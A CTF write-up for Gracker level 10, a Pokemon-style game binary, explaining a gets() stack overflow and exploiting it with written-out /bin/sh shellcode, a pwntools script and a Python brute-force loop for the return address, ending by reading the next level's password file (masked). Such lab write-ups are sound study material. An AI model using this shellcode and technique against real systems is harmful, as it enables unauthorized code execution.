Gracker level10 (A wild vuln has appeared!)

Try the challenge thoroughly before reading the write-up. Otherwise, it's your loss.

We ssh to [email protected] and authenticate using the password we had obtained after solving the previous level.

Recap of previous level.

The recap of the previous level is the same as my solution in this post.

Level10

The story of this level tells us that this is the first hard challenge which will decide whether we are a just a kiddy or a true hacker. Challenge accepted!

So, the challenge binary has an interface like the pokemon game boy games I used to play before.

[email protected]:/matrix/level10$ ./level10
                          ,               ,   
  Eevee                   \.           .'/   
       :L73               \  \ .---. .-' /    
  ┃ HP:============        '. '     `\_.'     
  ┗━━━━━━━━━━━━━━━━━━►       | 0, 0  |     ,  
                             (  __   /   .' \ 
                            .''.___.'--,/\_,| 
                           {  /     \   }   | 
                            '.\     /_.'    / 
                             |'-.-',  `; _.'  
                             |  |  |   |`     
      .-. \_/ .-.            `""`""`"""`      
      \.-\/=\/.-/             Kakuna          
   '-./         \.-'           :L12          ┃
  .--|          |--.        HP:============(((_)\         /(_)))            42/42      ┃
  `\ \_`-.   .-'_/ /`_    ◄━━━━━━━━━━━━━━━━━━┛
    '.__       __.'(_))                       
        /     \     //                        
       |       |__.'/                         
◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
┃                       ┃                    ┃
┃                       ┃ 1) FIGHT   2) PkMn ┃
┃                       ┃ 3) ITEM    4) RUN  ┃
┃                       ┃                    ┃
◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
Select: 4
◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃                                            ┃
┃ You run away!                              ┃
┃                                            ┃
┃                                            ┃
◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

Examinig the source code, I realized that there was a buffer overflow vulnerability in the game_loop() function in the input buffer.

void game_loop() {
    char buffer[16];
    for(;;){
        draw_game();
        printf("Select: ");
        gets(buffer);
        switch(buffer[0]) {
            case '1':
                // attack
                action_fight();
                break;
            case '2':
                // select pokemon
                action_not_implemented();
                break;
            case '3':
                // select item
                action_not_implemented();
                break;
            case '4':
                // try to escape from battle
                action_escape();
                // return from the game_loop
                return;
                break;
        }
    }
}

Also, if we wish to exploit this vulnerability, we’ll have to return from the game_loop() function. Therefore, buffer[0] should be ‘4’. I decided that I’ll place my shellcode (\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80) in the buffer, and then try to jump to it. However the shellcode always kept segfaulting on me. I realized much much later that it was being mangled. This was because the stack pointer was near the shellcode, and our shellcode was utilizing the stack itself. So basically, the later instructions (unfortunately, just the last interrupt!) of the shellcode were being overwritten by the variables that the shellcode itself wanted to store on the stack.

However, I did have a few bytes (4) that I could utilize to prevent this. So, I filled the initial part of the shellcode with four \x58 which correspond to the pop eax instruction. I was thus able to move the stack pointer away from the shellcode itself so that it didn’t get mangled.

The biggest hurdle of the challenge however was figuring out the address to which I needed to jump to in order to execute the shellcode. Since ther wasn’t any space for a NOP sled. I was able to work out the exploit on my system both inside and outside gdb (by attaching it to the process).

from pwn import *
p = process('./level10')
gdb.attach(p)
exp = '4\x58\x58\x58\x58\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
exp = exp + addr #figured out addr using gdb
p.sendline(exp)
p.sendline('id')
p.recvline()

However, I had used pwntools (which isn’t available on the gracker system) and I had attached gdb to the process (which too has been disabled on the gracker system). I was able to run the exploit from inside gdb though, however in order to read the flag, I needed to have level11 permissions which were not possible from inside gdb. So, I tried to make up for the difference in the addresses between inside gdb and outside it by accounting for the environment variables. This stackoverflow question has explained it well. However, nothing worked for me. Not manually hardcoding the address after accounting for the difference, or the wrapper script provided in that answer. You have to remember that I had to be exact to the byte of the address! Even if I was on byte on either side, it would segfault.

So, I figured there was nothing to it but to bruteforce. I used the address inside gdb (after removing the env vars) as the reference and kept progressing further byte by byte using a python script (it was painful without the elegant pwntools) till I hit the correct address.

import struct
import subprocess

gdb_addr = 0xffffde10
exp = '4\x58\x58\x58\x58\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
addr = gdb_addr

for i in range(0, 3000):
    addr = gdb_addr - i
    print "Trying offset " + str(gdb_addr-addr)
    p = subprocess.Popen(['./level10'], stdout = subprocess.PIPE, stdin = subprocess.PIPE)
    p.stdin.write(exp + struct.pack('<I', addr) + '\n')
    p.stdin.write('id\n')
    out = p.stdout.readline()
    if len(out) == 0:
        print "Unsuccessful"
        p.kill()
    else:
        print out
        exit(0)

I struck gold at the offset 511 => address 0xffffdc11. I then modified the script to read the password from /home/level11/.pass

>>> import struct
>>> import subprocess
>>> 
>>> addr = 0xffffdc11
>>> p = subprocess.Popen(['./level10'], stdout = subprocess.PIPE, stdin = subprocess.PIPE)
>>> exp = '4\x58\x58\x58\x58\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
>>> p.stdin.write(exp + struct.pack('<I', addr) + '\n')
>>> p.stdin.write('cat /home/level11/.pass\n')
>>> p.stdout.readline()
'**********\n'

And Voila! I got the password to the next level. I am not revealing the password here so that the readers try the challenge on their own.